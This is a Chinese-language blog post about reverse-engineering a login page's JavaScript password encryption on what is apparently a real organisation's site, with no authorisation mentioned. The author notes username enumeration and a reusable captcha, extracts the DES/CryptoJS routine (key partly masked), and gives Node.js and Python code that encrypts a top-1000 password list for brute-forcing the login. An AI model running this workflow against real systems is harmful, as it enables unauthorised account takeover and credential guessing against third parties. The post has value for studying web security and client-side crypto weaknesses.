iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

记一次JS逆向密码加密

记一次JS逆向密码加密

今天漫游某单位资产的时候,发现了一个站点,反手 admin/admin 测一下,提示 密码不正确,输入 admin1/admin1 提示 用户不存在 ,同时 验证码 还可以重复使用,这不得 top1000 跑一下

image-20230210141241348

F12 查看一下网络请求,发现验证码被添加到了 Cookie 里面,但既然可以复用,我们就不管了,其次 载荷 里的数据被加密了

1
2
userName: QEAqMWFkbWluaG5zaA==
password: QEAqMTk2ZjFhNjZiNjBkZjI1YWVobnNo

根据多年CTF经验,直接 Base64 解码

1
2
userName: @@*1adminhnsh
password: @@*196f1a66b60df25aehnsh

观察数据发现头尾的 @@*1hnsh 是固定的,同时用户名未经过加密直接是 admin,密码经过了加密处理,我们点击启动器看看调用堆栈

image-20230210142153313

点击后会自定跳转到相应的代码片段,我们看到通过 ajax 发送了一个 POST 请求,url/login.do,参数来自 JsonData

1
var JsonData = { login: encodeString(login), pwd: encodeString(afterEncrypt), code: code };

其中 pwd 参数通过 encryptByDES() 处理了一下

1
var afterEncrypt = encryptByDES(pwd);

我们给 afterEncryptJsonData 打上断点

image-20230210142256262

我们再次点击提交数据,发现已经在预定的位置断点成功了,我们点击进入 下一个函数调用 去查看一下 encryptByDES() (直接全局搜索 encryptByDES 也可以 )

image-20230210143025884

我们看到了关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString();
}

然后我们一直点击 跳过下一个函数调用 即可,最后发现 JsonData 已经被正确赋值了

image-20230210143116843

image-20230210143215083

encryptByDES() 调用了 crypto-js 库扣取代码过程有点繁杂,我们直接使用 NodeJS 中转一下,直接使用 npm install crypto-js,在代码中引用即可,然后粘贴我们抠出来的代码,同时改一下 return,加上固定的头尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const CryptoJS = require('crypto-js');

var define = "default-*****";
var ivParams = "def-parm";
var strPre = "@@*1";
var strSuf = "hnsh";

function encryptByDES(content) {
var key=define;
key = CryptoJS.MD5(key).toString().substring(0, 16).toUpperCase();
var keyHex = CryptoJS.enc.Utf8.parse(key);
var ivHex = CryptoJS.enc.Utf8.parse(ivParams);
var encrypted = CryptoJS.DES.encrypt(content, keyHex, {
iv: ivHex,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return strPre + encrypted.ciphertext.toString() + strSuf;
}

其实直接使用 NodeJS 也行,但是感觉还是 Python 方便点,正好学一下 execjs 的使用,记得先对照一下自己写的代码加密数据是否和网站加密的数据一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import execjs
import base64

def encryptByDES(content):
js_code = open("enc.js").read()
ctx = execjs.compile(js_code)
return ctx.call("encryptByDES", content)

if __name__ == '__main__':
with open("top1000.txt", "r") as f:
for line in f:
a = encryptByDES(line).encode("utf-8")
b = base64.b64encode(a).decode("utf-8")
with open("pass.txt", "a") as f:
f.write(b + "\n")
本文作者:iami233
本文链接:https://5ime.cn/js-re-crypto.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可